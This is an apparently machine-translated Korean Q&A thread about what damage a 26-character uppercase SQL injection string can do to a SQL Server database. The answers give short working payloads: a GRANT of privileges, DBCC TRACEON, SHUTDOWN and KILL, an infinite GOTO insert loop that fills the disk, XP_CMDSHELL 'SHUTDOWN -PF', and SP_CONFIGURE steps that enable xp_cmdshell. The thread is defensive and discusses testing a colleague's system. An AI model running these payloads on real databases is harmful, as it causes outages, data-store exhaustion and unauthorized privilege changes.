SQL Server 주입-26 자 정도의 피해는 얼마입니까?

SQL Server 데이터베이스에 대한 주입 공격에 대한 복원력을 테스트하고 있습니다.

db의 모든 테이블 이름은 소문자이며 데이터 정렬은 대소 문자를 구분합니다 ( Latin1_General_CS_AS) .

보낼 수있는 문자열은 대문자 여야하며 최대 26 자까지 가능합니다. 따라서 테이블 이름이 대문자이므로 데이터 정렬로 인해 명령문이 실패하기 때문에 DROP TABLE을 보낼 수 없습니다.

그래서-26 자로 할 수있는 최대 피해는 얼마입니까?

편집하다

매개 변수가 지정된 쿼리 등에 대해 모두 알고 있습니다. 프런트 엔드를 개발 한 사람이 쿼리를 작성하여 보낸 경우이 매개 변수를 사용하지 않았다고 가정 해 봅시다.

나는 또한 사악한 일을하려고하지 않습니다. 이것은 같은 조직의 다른 누군가가 만든 시스템입니다.

쉬운:

GRANT EXECUTE TO LowlyDBA

또는이 경우에는

grant execute to lowlydba 

이에 대한 변형을 선택하십시오.

모든 가능성에 따라 현재 시스템에 대해이 테스트를 수행 할 수 있지만 시간이 지남에 따라 데이터베이스에 약간의 작은 변경 사항이 있으면 테스트가 무효화 될 수 있습니다. 문자열은 변경 될 수 있으며 누군가는 잠재적 인 파괴적인 가능성이있는 소문자 저장 프로 시저를 만들 수 있습니다. 누군가가 구성 할 수있는 파괴적인 26 자 공격이 없다고 100 % 확신 할 수는 없습니다.

보안 침해가 발생했을 때 적어도 부분적으로 책임이 있다고 추정되는 사람이 본인을 위해서만 개발자가 기본 업계 표준 최고의 보안 관행을 따르도록하는 방법을 찾으십시오 .

편집하다:

그리고 악의적 / 재미를 위해 모든 추적 플래그를 활성화 할 수 있습니다. 관찰하면 흥미로울 것입니다. 브렌트 오자 (Brent Ozar)가 블로그 게시물을 작성하는 것처럼 느껴집니다 ...

DBCC TRACEON(xxxx, -1)

SHUTDOWN명령이나 KILL희망이를 실행할 수있는 충분한 권한이없는 계정이 응용 프로그램 쿼리를 실행하지만 명령, (50 세 이상 임의의 숫자를 선택) 모두 26 자보다 훨씬 덜 걸릴.

시간이 끝나거나 디스크 공간이 부족할 때까지 채워지는 테이블을 만들 수 있습니다.

declare @S char(26);

set @S = 'create table t(c char(99))';
exec (@S);

set @S = 'insert t values('''')'
exec (@S);

set @S = 'insert t select c from t'
exec (@S);
exec (@S);
exec (@S);
exec (@S);
-- etc

손상 정의에 따라 다음을 실행할 수 있습니다. WAITFOR DELAY '23 : 59 '진정으로 악의적이므로로드 테스트 도구를 사용하여 32,768 명의 클라이언트에서 실행할 수 있습니다.

@MikaelEriksson의 답변과 @MartinSmith의 초기 의견에 대한 답변을 기반으로 한 변형 :

declare @S char(26);

set @S = 'create table x(i int)';
exec (@S);

처음에는 WHILE 문을 작성하려고 시도했지만 27 자만 할 수있었습니다.

set @S = 'while 1=1 insert t select 0'; -- fails at 27 characters
exec (@S);

그러나 마틴은 GOTO를 지적했다.

set @S = 'x:insert t select 0 GOTO x';
exec (@S);

GOTO ... 26 개의 문자로 무한 루프 삽입 문을 만드는 모든 악의 근원.

그렇게 말하면 ... 더 많은 공간을 사용하므로 int 대신 CHAR (99)를 사용하는 것이 유리할 수 있습니다. 다른 옵션은 더 긴 이름을 사용하고 26 자로 제한합니다. 또는 행당 저장 공간을 적게 사용합니다.

전체 테스트 코드 :

declare @S char(26);
set @S = 'drop table t;';
exec (@S);
GO

declare @S char(26);

set @S = 'create table t(c CHAR(99))';
exec (@S);

set @S = 'x:insert t select 0 GOTO x';
exec (@S);
GO

XP_CMDSHELL 'SHUTDOWN -PF'

얼마나 손상을 입 었는지에 따라 전원 차단을 고려하십시오. :-)

이를 위해서는 서버에서 xp_cmdshell을 사용하도록 설정해야합니다. 마지막 몇 버전의 SQL Server에는 해당되지 않습니다. 또한 서비스 계정에 종료 권한이 있어야합니다.

xp_cmdshell을 사용하면 26 자 제한을 초과 할 수 있습니다. 여러 번 주사를 허용 하시겠습니까?

SP_CONFIGURE 'SHOW ADV',1

RECONFIGURE

SP_CONFIGURE 'XP', 1

RECONFIGURE